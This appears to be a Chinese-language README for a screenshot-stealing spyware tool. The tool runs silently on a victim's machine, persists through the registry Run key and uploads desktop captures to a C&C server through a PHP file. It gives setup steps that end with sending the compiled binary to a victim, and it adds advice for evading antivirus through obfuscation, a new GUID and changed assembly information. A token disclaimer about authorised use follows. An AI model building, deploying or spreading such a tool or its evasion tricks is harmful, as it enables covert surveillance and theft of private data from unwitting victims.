Mr.Peter

静默截屏|攻击后有效负载 |网络

一个简单的负载，用于截取受害者桌面的屏幕截图并将其上传到 C&C。

特征：

• 持久（使用注册表运行键）
• 在后台运行
• 更少的代码、更少的错误和更少的检测;)
• 将屏幕截图上传到 C&C 后从磁盘中删除
• Base64 的 C&C 服务器
• 在 C&C 上以有组织的方式上传屏幕截图
• 无需端口转发！使用单个 php 文件
• [TODO] 机器信息
• [待办事项] 加密
• [TODO] 从 C&C 远程设置间隔

安装与使用：

• 克隆此存储库。
• 我推荐的虚拟主机 namecheap
• 转到您的 public_html 文件夹并创建新的 PHP 文件并将以下代码放入其中

• 在 Visual Studio 中打开项目并编辑源代码中的以下变量

 Dim server As String = BaseDecode1("your server address here in base64 encoded") 

• 并在下面编辑此变量

 Dim php As String = "yourphpfilename.php?" & "folder="

• 只需编译它并将其发送给受害者即可！

百万美元的建议；）

避免防病毒检测

• 更改应用程序图标
• 生成新的 GUID
• 更改所有变量
• 使用 Obfuscar 混淆代码
• 更改程序集信息

捐款：

如果这个工具对你有用，请随时给我买杯咖啡来感谢我:)

免责声明：

该工具只能在授权系统上使用。未经明确许可，任何未经授权使用此工具的行为都是非法的。

执照：

GNU 通用公共许可证